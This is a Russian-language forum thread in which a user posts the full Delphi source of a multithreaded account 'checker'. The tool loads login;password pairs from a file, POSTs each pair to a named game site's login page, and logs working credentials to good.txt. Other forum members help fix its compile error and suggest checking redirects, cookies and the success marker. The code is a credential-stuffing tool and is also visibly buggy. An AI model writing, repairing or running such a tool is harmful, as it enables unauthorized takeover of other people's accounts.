[Помогите!] ошибка в делфи

[sergey211194]

помогите пытаюсь скомпилировать и выдает ошибку в строке
if pos ('ывфыа'p.Text)>0 then
весь код,
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls, ComCtrls, Gauges, SyncObjs;

type
TForm1 = class(TForm)
Edit1: TEdit;
UpDown1: TUpDown;
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
OpenDialog1: TOpenDialog;
GoodLabel: TLabel;
BadLabel: TLabel;
IdHTTP1: TIdHTTP;
Gauge1: TGauge;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;

var
Form1: TForm1;
Accounts:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(Edit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;

if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

data:=Tstringlist.create;
data.Add('userid='+FAcc);
data.Add('userpass='+FPas);
data.Add('submit=Войти');
HTTP:=TIdHTTP.create(nil);
HTTP.HandleRedirects:=false;
try
HTTP.Post('http://rivendell2.ru/index.php?s=login', data);
Rez:=-1;
except
if pos ('ывфыа'p.Text)>0 then
Rez:=1
else
Rez:=0;
end;
HTTP.Free;
data.Free;

Synchronize(Sync);
end;
end;

dec(Thread);
if Thread=0 then ShowMessage('OK');
end;

procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G oodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba dLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
CS:=TcriticalSection.create;
end;

end.
помогите , пожалуйста..

Добавлено через 2 минуты

Цитата: Сообщение от sergey211194 помогите пытаюсь скомпилировать и выдает ошибку в строке if pos ('ывфыа'p.Text)>0 then весь код, unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, StdCtrls, ComCtrls, Gauges, SyncObjs; type TForm1 = class(TForm) Edit1: TEdit; UpDown1: TUpDown; Button1: TButton; Label1: TLabel; Label2: TLabel; OpenDialog1: TOpenDialog; GoodLabel: TLabel; BadLabel: TLabel; IdHTTP1: TIdHTTP; Gauge1: TGauge; Button2: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Button2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; TNewThread = class(TThread) private FAcc : string; FPas : string; Rez : Integer; protected procedure Execute; override; public procedure Sync; constructor Create(CreateSuspended: Boolean); end; var Form1: TForm1; Accounts:Tstringlist; Thread, Acc:integer; Work:boolean; CS:TcriticalSection; GoodFile, BadFile: textfile; implementation {$R *.dfm} constructor TNewThread.Create(CreateSuspended: Boolean); begin inherited Create(CreateSuspended); end; procedure TForm1.Button1Click(Sender: TObject); begin OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName); if OpenDialog1.Execute then begin Accounts.Clear; Accounts.LoadFromFile(OpenDialog1.FileName); end; end; procedure TForm1.Button2Click(Sender: TObject); begin Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt'); Rewrite(GoodFile); Closefile(GoodFile); Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt'); Rewrite(BadFile); Closefile(BadFile); GoodLabel.Caption:='0'; BadLabel.Caption:='0'; Gauge1.MaxValue:=Accounts.Count; Gauge1.Progress:=0; Acc:=-1; Work:=true; for Thread:=1 to strtoint(Edit1.Text) do TNewThread.Create(false); Thread:=strtoint(Edit1.Text); end; procedure TNewThread.Execute; var CurAcc:integer; data:Tstringlist; HTTP: TIdHTTP; begin while Work do begin CS.Enter; Inc(Acc); if Acc<Accounts.Count then CurAcc:=Acc else Work:=false; CS.Leave; if Work then begin FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1); FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc])); data:=Tstringlist.create; data.Add('userid='+FAcc); data.Add('userpass='+FPas); data.Add('submit=Войти'); HTTP:=TIdHTTP.create(nil); HTTP.HandleRedirects:=false; try HTTP.Post('http://rivendell2.ru/index.php?s=login', data); Rez:=-1; except if pos ('ывфыа'p.Text)>0 then Rez:=1 else Rez:=0; end; HTTP.Free; data.Free; Synchronize(Sync); end; end; dec(Thread); if Thread=0 then ShowMessage('OK'); end; procedure TNewThread.Sync; begin case Rez of 0:begin Accounts.Add(FAcc+';'+FPas); end; 1:begin Append(GoodFile); Writeln(GoodFile,FAcc+';'+FPas); Closefile(GoodFile); Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G oodLabel.Caption)+1); Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; end; -1:begin Append(BadFile); Writeln(BadFile,FAcc+';'+FPas); Closefile(BadFile); Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba dLabel.Caption)+1); Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1; end; end; end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin Accounts.Free; CS.Free; end; procedure TForm1.FormCreate(Sender: TObject); begin Accounts:=Tstringlist.create; CS:=TcriticalSection.create; end; end. помогите , пожалуйста..

P.S. набор буква просто введен , так я там другое слово ввожу , которое на сайте появляется при входе на аккаунт

[Relli]

ты запятую забыл:
if pos('ывфыа',p.Text) <> 0 then

[sergey211194]

все равно ошибка..

Добавлено через 6 минут
вроде я какой то компонент пропустил что-ли читал искал но что-то я в коде пропустил похоже..

[Relli]

Ну правильно....
p.Text - это Tstringlist,а у тебя:
1.Он не создается ир не используется нигде
2.Даже в var'е не прописан
3.Get запрос у тебя записывается в data.Замени p.text на data.text

[sergey211194]

всю полностью напишу
[DCC Error] Unit1.pas(118): E2003 Undeclared identifier: 'p'

Добавлено через 22 минуты
ещк к этой строке ошибки
[DCC Warning] Unit1.pas(118): W1058 Implicit string cast with potential data loss from 'string' to 'RawByteString'
[DCC Error] Unit1.pas(118): E2029 ')' expected but identifier 'Text' found
delphi 2010

Добавлено через 30 минут
data.Замени p.text на data.text
заменил но теперь программа все аккаунты кидает в bad даже рабочие , это чеккер вот только он что-то все в bad кидает

[VeTaL_UA]

sergey211194, советую вам не копировать чужой код. Выучите язык хотя бы на начальном уровне, а потом задавайте вопросы.

[Sinyss]

Цитата: Сообщение от sergey211194 заменил но теперь программа все аккаунты кидает в bad даже рабочие , это чеккер вот только он что-то все в bad кидает

Советую для начала сменить название темы. Ошибка не в делфи, а в пользователе...

[Xenozite]

Вообщем еще один тупой копипапс кода...
Берем снифер в руки и учим делфи заодно,а потом уже шлем запросы+заодно код,который написан,детально разобрать.Как говориться без труда не вытащишь и рыбку из пруда.
1)На редирект проверил?
2)Уверен что твое слово присутствует при правильной авторизации,а при фэйлах его нету?
3)Куки принимаем? ....и т.д.
Код нужно модернизировать под свой,а не копипапсить,заменять ссылки и думать что щас он заработает и я вкачу его за несколько сотен.

[sergey211194]

код то да , то что не мой я и не скрывал , и уже заметил , что касяков там дофига , со сниффером я более менее дружу а вот с delphi уж увы нифига не понимаю практически , а учить лень было) , и продавать не собираюсь руками просто логины пароли лень вводить потому, что их много , вот решил таким способом обойтись

[Пиу Пиуу]

Цитата: Сообщение от sergey211194 со сниффером я более менее дружу а вот с delphi уж увы нифига не понимаю практически

так как ты с сниффером тогда подружился?